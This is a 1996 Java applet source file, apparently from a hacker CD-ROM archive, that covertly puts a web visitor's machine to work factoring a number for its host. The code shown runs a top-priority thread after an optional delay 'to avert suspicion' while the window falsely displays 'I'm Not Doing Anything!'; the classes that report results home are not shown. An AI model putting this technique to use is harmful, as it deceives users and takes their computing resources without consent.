home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / domywork.jav < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.4 KB  |  112 lines

  1. /* DoMyWork.java by Mark D. LaDue */
  2.  
  3. /* March 2, 1996 */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /*  This Java applet makes you try to factor a moderately long integer
  10.     by trial division, and it reports the reults back to it's home.
  11.     Clearly the same could be done for many, many other sorts of
  12.     calculations.  While it performs no hostile actions per se, it does
  13.     put your workstation to work for somebody else, perhaps a business
  14.     competitor or someone trying to crack codes.  To create an applet
  15.     that does other sorts of work, you can replace the class GetFactor
  16.     with another working class and adjust the classes Report and
  17.     ReportServerSocket accordingly.  */
  18.  
  19. import java.awt.*;
  20. import java.applet.Applet;
  21.  
  22. public class DoMyWork extends java.applet.Applet implements Runnable {
  23.  
  24. //  Just a font to paint strings to the applet window 
  25.     Font bigFont = new Font("TimesRoman", Font.BOLD, 36);
  26.  
  27. //  These threads will make you perform the calculations
  28. //  and send the results back to their home.
  29.     Thread controller = null;
  30.     Thread sleeper = null;
  31.  
  32. //  Used to read in a parameter that makes the thread sleep for a
  33. //  specified number of seconds taking effect
  34.     int delay;
  35. //  Used to read in a parameter that determines the port to which
  36. //  Sockets will be connected
  37.     public static int thePort;
  38.  
  39. //  Used to read in as a parameter the long integer to be factored
  40.     public static long theNumber;
  41.  
  42. //  Used to hold the localhost to which the applet will connect
  43.     public static String theHome;
  44.  
  45.     public void init() {
  46.     setBackground(Color.white);
  47.  
  48. //  Determine how many seconds the main thread should sleep before kicking in
  49.     String str = getParameter("wait");
  50.     if (str == null)
  51.         delay = 0;
  52.     else delay = (1000)*(Integer.parseInt(str));
  53. //  Determine the port number
  54.     str = getParameter("portnumber");
  55.     if (str == null)
  56.         thePort = 9000;
  57.     else thePort = Integer.parseInt(str);
  58. //  Determine the long integer to be factored
  59.     str = getParameter("tobefactored");
  60.     if (str == null)
  61.         theNumber = 2L;
  62.     else theNumber = Long.parseLong(str);
  63. //  Determine the home host of the applet
  64.     theHome = getDocumentBase().getHost();
  65.     }
  66.  
  67.  
  68. /*  Create and start the main thread in the standard way */
  69.  
  70.     public void start() {
  71.         if (sleeper == null) {
  72.         sleeper = new Thread(this);
  73.         sleeper.setPriority(Thread.MAX_PRIORITY);
  74.         sleeper.start();
  75.         }
  76.     }
  77.  
  78. /*  And why should we stop? */
  79.  
  80.     public void stop() {}
  81.  
  82.     public void run() {
  83.  
  84. //  Let the applet tell its lie
  85.         repaint();
  86.  
  87. //  Let the applet sleep for a while to avert suspicion if you like
  88.         try {sleeper.sleep(delay);}
  89.         catch(InterruptedException e) {}
  90.  
  91.         if (controller == null) {
  92.         Calculator calc = new Calculator();
  93.         controller = new Thread(calc);
  94.         controller.setPriority(Thread.MAX_PRIORITY);
  95.         controller.start();
  96.         }
  97.     }
  98.  
  99. /*  Paints the applet's lie */
  100.  
  101.     public void update(Graphics g) {
  102.         paint(g);
  103.     }
  104.  
  105.     public void paint(Graphics g) {
  106.     g.setColor(Color.blue);
  107.     g.setFont(bigFont);
  108.     g.drawString("I'm Not Doing Anything!", 10, 200);
  109.     }
  110. }
  111.  
  112.